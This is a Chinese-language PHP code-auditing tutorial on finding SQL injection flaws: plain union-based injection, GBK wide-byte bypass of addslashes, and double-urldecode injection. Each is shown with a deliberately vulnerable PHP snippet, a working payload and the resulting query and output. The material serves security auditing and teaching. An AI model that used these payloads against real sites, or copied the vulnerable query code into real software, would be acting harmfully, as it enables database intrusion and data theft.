PHP程式碼審計-SQL注入漏洞挖掘
SQL注入經常出現在登入頁面,HTTP頭(user-agent/client-ip/cookies等),訂單處理等地方,在發生多個互動的地方經常會發生二次注入。
普通注入
$uid = $_GET[‘id’];
$sql = “select * from user where id=$uid”;
$conn = mysql_connect(“localhost”,”root”,””);
$sel = mysql_select_db(“test123”,$conn);
$result = mysql_query($sql,$conn);
普通注入有int型和string型,在string型中需要用到單引號或雙引號閉合
在這裡變數並沒有被單引號所保護,我們可以直接構造一條sql語句來進行列猜解
-
後半部分使用union select查詢的列數與資料庫中列數不匹配的話(表結構不同)會導致報錯(The used SELECT statements have a different number of columns)1 union select 1,2,3
-
這個時候查詢的列數與資料庫中使用表的列數相同,則會返回所查詢的值,這樣就完成了列猜解。1 union select 1,user(),3,4
結果:Array ( [0] => 1 [1] => [email protected]
編碼注入
通過輸入轉碼函式不相容的特殊字元,可以導致輸出的字元變成有害資料(在SQL注入裡,最常見的編碼注入是Mysql寬位元組以及urldecode/rawurldecode)
$conn = mysql_connect(“localhost”,”root”,””); mysql_select_db(“test123”,$conn); mysql_query(“SET NAMES ‘gbk'”,$conn); $uid = addslashes($_GET[‘id’]); $sql = “select * from userinfo where id=’$uid'”; $result = mysql_query($sql,$conn); print_r(‘當前查詢語句:’.$sql.'<br />結果:’); print_r(mysql_fetch_row($result));
在這裡我們可以看到使用了mysql_query設定了資料庫的編碼為gbk,並且使用了addslashes針對變數id進行保護
-
使用%df將addslashes的\合併成字元,這時後面的單引號就會將前面的單引號合併,–+將最後面的引號註釋掉,中間的union select得以執行。%df’ union select 1,2,3,4 –+
當前查詢語句:
select * from userinfo where id=’�\\\’ union select 1,2,3,4#’
結果:Array ( [0] => 1 [1] => 2 [2] => 3 [3] => 4 )
二次urldecode注入
現在的web程式大多會進行引數過濾,大多通常使用addslashes(),mysql_real_escape_string(),mysql_escape_string()函式或者開啟GPC的方式來防止注入,也就是給* ‘ ” \和NULL加上反斜槓進行轉義,如果某處使用了urldecode或者rawurldecode函式,將會導致二次解碼生成單引號而引發注入。
原理:
假設目標開啟了GPC的情況下,提交引數為1%2527的payload,因為第一次解碼沒有單引號,addslashes不會進行轉義,導致%25生成字元%,第二次進行解析的時候將會把%27解析成單引號造成閉合。
$conn = mysql_connect(“localhost”,”root”,””);
mysql_select_db(“test123”,$conn);
$b = addslashes($_GET[‘id’]);
$uid = urldecode($b);
$sql = “select * from userinfo where id=’$uid'”;
$result = mysql_query($sql,$conn);
print_r(‘當前查詢語句:’.$sql.'<br />結果:’);
print_r(mysql_fetch_row($result));
- 此處可以構造語句
針對單引號進行閉合%2527%20union%20select%201,user(),3,4%2523
當前查詢語句:
select * from userinfo where id=” union select 1,user(),3,4#’
結果:Array ( [0] => 1 [1] => [email protected] [2] => 3 [3] => 4 )
如此就可以通過搜尋urldecode和rawurldecode函式來挖掘二次urldecode注入漏洞。